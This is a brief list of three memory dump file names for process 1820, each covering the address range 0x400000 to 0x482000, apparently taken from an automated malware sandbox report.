memory/1820-127-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-128-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1820-135-0x0000000000400000-0x0000000000482000-memory.dmp